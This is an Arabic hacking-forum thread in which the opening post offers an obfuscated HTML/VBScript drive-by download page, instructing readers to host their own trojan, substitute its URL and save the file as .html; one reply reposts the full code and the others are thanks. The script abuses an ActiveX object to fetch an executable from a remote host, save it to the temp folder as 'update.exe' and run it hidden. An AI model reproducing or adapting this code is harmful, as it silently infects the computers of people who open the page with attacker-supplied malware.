(حصري) طريقة تلغيم صفحات الإنترنت بالفيروسات والباتشات

Xx-Youssef-xX · 11-05-2010, 07:36 PM

[align=center]
اليوم انا جايب لكم طريقة تلغيم صفحات الإنترنت بالفيروسات والباتشات لعيونكم وهذا كود خاص بذلك
افتح النوت باد وحط فيها الكود التالي
[hide]

كود:

<HTML>
<BODY>
<script language="VBScript">
on error resume next
dl = "www.site.com/trojan.exe"
Set df = ********.createElement("object")
cls1="clsid:BD96"
cls2="C556-65A"
cls3="3-11D0-9"
cls4="83A-00C04FC29E36"
clsfull=cls1&cls2&cls3&cls4
df.setAttribute "classid",clsfull
strr1="Mic"
strr2="roso"
strr3="ft."
strr4="XML"
strr5="HTTP"
strr=strr1&strr2&strr3&strr4&strr5
Set x = df.CreateObject(strr,"")
ab1="A"
ab2="dod"
ab3="b.S"
ab4="t"
ab5="re"
ab6="am"
strb1=ab1&ab2&ab3&ab4&ab5&ab6
strb5=strb1
set YY = df.createobject(strb5,"")
YY.type = 1
str6="GET"
x.Open str6, dl, False
x.Send
fnamezz1="update.exe"
scripp1="Scrip"
scripp2="ting"
scripp3=".Fil"
scripp4="eSyste"
scripp5="mObject"
scripp=scripp1&scripp2&scripp3&scripp4&scripp5
set FF = df.createobject(scripp,"")
set tmp = F.GetSpecialFolder(2)
fnamezz1= FF.BuildPath(tmp,fnamezz1)
YY.open
YY.write x.responseBody
YY.savetofile fnamezz1,2
YY.close
set MM = df.createobject("Shell.Application","")
MM.ShellExecute fnamezz1,"","","open",0
</script>
</BODY>
</HTML>

[/hide]
وارفع الباتش على اي مركز تحميل
وغيير [hide]www.site.com/trojan.exe[/hide] برابط باتشك
وحفضوه بمتداد

كود:

.html

[motr][rainbow]لا تنسوا التقييم ان اعجبكم وشكرا:00001806[1]:[/rainbow][/motr][/align]

jsms1 · 11-05-2010, 11:12 PM

شكرا اخي على الموضوع المميز
تقبل مروري

merci1994 · 11-05-2010, 11:59 PM

تسلم

mr.ghost · 11-06-2010, 12:01 AM

تسلم اخي
بارك الله فيك

J0kEr HaCkEr · 11-06-2010, 01:39 AM

تسلم أخي و الله يعطيك العافية

bigboss-spiders · 11-06-2010, 01:15 PM

مشكورر

الوهم الجميل · 11-06-2010, 03:50 PM

يسلموووووووووووووووووووووووووووووووووووووو

chef · 11-06-2010, 09:06 PM

behi yeeeeeeeeeeeeeser

microsarme6943 · 11-06-2010, 09:28 PM

merci bcp

hichamreal1988 · 11-16-2010, 12:16 AM

merci bcp

sa7en-up · 11-16-2010, 12:47 AM

thxxxxxxxxxxxxxxxxxxxxxxx

elwadany · 11-16-2010, 01:01 AM

اقتباس

المشاركة الأصلية كتبت بواسطة Xx-Youssef-xX

[align=center]
اليوم انا جايب لكم طريقة تلغيم صفحات الإنترنت بالفيروسات والباتشات لعيونكم وهذا كود خاص بذلك
افتح النوت باد وحط فيها الكود التالي
[hide]

كود:

<HTML> <BODY> <script language="VBScript"> on error resume next dl = "www.site.com/trojan.exe" Set df = ********.createElement("object") cls1="clsid:BD96" cls2="C556-65A" cls3="3-11D0-9" cls4="83A-00C04FC29E36" clsfull=cls1&cls2&cls3&cls4 df.setAttribute "classid",clsfull strr1="Mic" strr2="roso" strr3="ft." strr4="XML" strr5="HTTP" strr=strr1&strr2&strr3&strr4&strr5 Set x = df.CreateObject(strr,"") ab1="A" ab2="dod" ab3="b.S" ab4="t" ab5="re" ab6="am" strb1=ab1&ab2&ab3&ab4&ab5&ab6 strb5=strb1 set YY = df.createobject(strb5,"") YY.type = 1 str6="GET" x.Open str6, dl, False x.Send fnamezz1="update.exe" scripp1="Scrip" scripp2="ting" scripp3=".Fil" scripp4="eSyste" scripp5="mObject" scripp=scripp1&scripp2&scripp3&scripp4&scripp5 set FF = df.createobject(scripp,"") set tmp = F.GetSpecialFolder(2) fnamezz1= FF.BuildPath(tmp,fnamezz1) YY.open YY.write x.responseBody YY.savetofile fnamezz1,2 YY.close set MM = df.createobject("Shell.Application","") MM.ShellExecute fnamezz1,"","","open",0 </script> </BODY> </HTML>

[/hide]
وارفع الباتش على اي مركز تحميل
وغيير [hide]www.site.com/trojan.exe[/hide] برابط باتشك
وحفضوه بمتداد

كود:

.html

[motr][rainbow]لا تنسوا التقييم ان اعجبكم وشكرا:00001806[1]:[/rainbow][/motr][/align]

مشكورررررررررررررررررررررررررررر

حسن الساهر · 11-16-2010, 06:39 PM

شكرا اخويه العزيز على الموضوع الراقي

عبدالله2010 · 11-17-2010, 04:08 AM

مشكوووووووووووووور

mokhles · 11-19-2010, 06:52 AM

merci

المواضيع المتشابهه
الموضوع	كاتب الموضوع	المنتدى	مشاركات	آخر مشاركة
شرح حصري لصنع صفحات مزوره فديو شغالة100/100	No.security	قـسـم الـبـريد الإلـكتروني والحسابات العامة	40	11-04-2010 12:48 PM
\|\| كشف تلغيم الفلاشة وطريقة الحماية من الاصابة بالفيروسات منها\|\|	Sniper_Mo	قســم إختــراق الأجهــزة	10	08-10-2010 04:16 AM
حصري على vBspiders احتراف تلغيم الاغاني (بالصور)	Pr!nCe HaCkErS	قســم إختــراق الأجهــزة	12	06-10-2008 03:35 PM